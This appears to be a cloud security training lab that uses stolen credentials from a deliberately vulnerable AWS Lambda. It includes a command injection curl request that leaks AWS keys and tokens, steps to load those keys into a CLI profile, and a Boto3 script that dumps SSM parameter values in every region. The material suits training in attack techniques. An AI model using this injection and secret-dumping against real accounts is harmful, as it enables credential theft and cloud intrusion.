Alternatively, if any of the above tools does not serve our purposes we can write our own Boto3 scripts in Python to directly interface with AWS's control plane APIs.

When creating our own python scripts leveraging Boto to interact with the AWS APIs, the first things we do is import the boto library we wish to use.

Three versions of the Boto library are commonly used within scripts that interact with AWS, namely:

- Boto - https://github.com/boto/boto
- Boto3 - https://github.com/boto/boto3
- Botocore - https://github.com/boto/botocore

Ensure the Profile is Setup Correctly

Test to see if our profile is still working...

```
root@ip-10-0-1-243:/shared# aws sts get-caller-identity --profile vulnlambda
{
"UserId": "AROAIMBP22ZSYFMM6CYLU:vulnerable_lambda",
"Account": "885264802853",
"Arn": "arn:aws:sts::885264802853:assumed-role/vulnerable_lambda/vulnerable_lambda"
}
root@ip-10-0-1-243:/shared#
```

If we see a message like above, the credentials for the profile are still working.

If we see a message similar to the following...

```
root@ip-10-0-1-243:/shared# aws sts get-caller-identity --profile vulnlambda

An error occurred (InvalidClientTokenId) when calling the GetCallerIdentity operation: The security token included in the request is invalid
root@ip-10-0-1-243:/shared#
```

The credentials for the profile need to be updated via the following process.

Using the credentials obtained via the Lambda Command Injection (CMDi) Remote Code Execution (RCE) vulnerability, and ensure the credentials profile is still setup correctly:

Commands

```
root@ip-10-0-1-251:/shared# curl -s "https://a8spqqmetd.execute-api.us-east-1.amazonaws.com/prod?inputstring=1%3Bexport+%7C+grep+AWS+%7C+grep+AWS%3B+echo+1" | grep -e "KEY\|TOKEN"
...
export AWS_ACCESS_KEY_ID="ASIA...IVBP"
export AWS_SECRET_ACCESS_KEY="vgw...Md+S"
... export AWS_SESSION_TOKEN="FQo...eY7s="

root@ip-10-0-1-251:/shared# aws configure --profile vulnlambda
AWS Access Key ID [****************IVBP]:
AWS Secret Access Key [****************Md+S]:
Default region name [us-east-1]:
Default output format [json]: table

root@ip-10-0-1-251:/shared# vi ~/.aws/config
...
[profile vulnlambda]
region = us-east-1
output = table

root@ip-10-0-1-251:/shared# vi ~/.aws/credentials
...
[vulnlambda]
aws_access_key_id = ASIA...
aws_secret_access_key = vgw...
aws_session_token = FQo...eY7s=
```

Test to see if our profile is now working...

```
root@ip-10-0-1-243:/shared# aws sts get-caller-identity --profile vulnlambda
{
"UserId": "AROAIMBP22ZSYFMM6CYLU:vulnerable_lambda",
"Account": "885264802853",
"Arn": "arn:aws:sts::885264802853:assumed-role/vulnerable_lambda/vulnerable_lambda"
}
root@ip-10-0-1-243:/shared#
```

Regions

With Boto3 being in my opinion the easiest to quickly leverage, hence let's start our script out by importing the library we intend on using:

```
import boto3
```

Create a boto3 session using a profile located within the ~/.aws/credentials file:

```
session = boto3.Session(profile_name='vulnlambda')
```

Next, lets create a client representing EC2:

```
ec2 = session.client("ec2", "us-east-1")
```

Now we can use that client to describe the regions that are available within EC2 and assign the result to a variable called "regions":

```
regions = ec2.describe_regions()
```

We can then break the result up into a list within python with each element containing a name of a region:

```
regions = [r['RegionName'] for r in regions['Regions']]
```

Now we can loop through each of the region names within the list, using a for loop:

```
for r in regions:
```

All together our Boto3 script might look something like:

```
import boto3
ec2 = session.client("ec2", "us-east-1")
regions = ec2.describe_regions()
regions = [r['RegionName'] for r in regions['Regions']]
for r in regions:
    print r
```

SSM

Once we can loop through all the regions, our next task is to extract data from the services we are interested in retrieving data from in each region.

For example, we can query the Simple Systems Manager (SSM) service in each region by first creating an SSM client:

```
ssmClient = session.client("ssm", r)
```

Then describing the SSM parameters via the SSM client:

```
params = ssmClient.describe_parameters()
```

Finally we can loop through each parameter extracting the parameter name and values:

```
for p in params['Parameters']:
    p_name = p['Name']
    response = ssmClient.get_parameter(
        Name=p_name)
    val = response['Parameter']['Value']
    print "%s - %s" % (p_name, val)
```

All together it should look something similar to this:

```
import boto3
session = boto3.Session(profile_name='vulnlambda')
ec2 = session.client("ec2", "us-east-1")
regions = ec2.describe_regions()
regions = [r['RegionName'] for r in regions['Regions']]
for r in regions:
    print r
    ssmClient = session.client("ssm", r)
    params = ssmClient.describe_parameters()
    for p in params['Parameters']:
        p_name = p['Name']
        response = ssmClient.get_parameter(
            Name=p_name)
        val = response['Parameter']['Value']
        print "%s - %s" % (p_name, val)
```

And then run the script:

```
root@ip-10-0-1-251:/shared# vi lab013.py
i
... (copy & paste the contents of the script here) ...
:wq

root@ip-10-0-1-251:/shared# python lab013.py
...
```

We can also check out the example scripts:

```
# python /shared/hands_on_labs/013_hello_boto/001_enumerate_regions.py
...

# python /shared/hands_on_labs/013_hello_boto/002_enumerate_ssm_in_a_region.py
...

# python /shared/hands_on_labs/013_hello_boto/003_enumerate_ssm_in_each_region.py
...
```


Exercise

The Plan:

```
- Use the AWS API Keys found from the Vulnerable Lambda lab to create clients.

- Write a Boto3 Script to enumerate SSM parameters in each region

-- Create client scoped to a non-default region - ssmClient = boto3.client("ssm", "us-east-1")

-- Enumerate Regions - ec2Client.describe_regions()

-- Iterate through all regions and collect params - ssmClient = boto3.client("ssm", "us-east-1")

-- List SSM Parameters : https://boto3.readthedocs.io/en/latest/reference/services/ssm.html
```

References

Check out the following references for more information:

- Boto - https://github.com/boto/boto
- Boto3 - https://github.com/boto/boto3
- Botocore - https://github.com/boto/botocore
- EC2 - Boto 3 Docs - https://boto3.readthedocs.io/en/latest/reference/services/ec2.html
- EC2 - describe_regions() -https://boto3.readthedocs.io/en/latest/reference/services/ec2.html#EC2.Client.describe_regions
- SSM - https://boto3.readthedocs.io/en/latest/reference/services/ssm.html
- SSM - describe_parameters() - https://boto3.readthedocs.io/en/latest/reference/services/ssm.html#SSM.Client.describe_parameters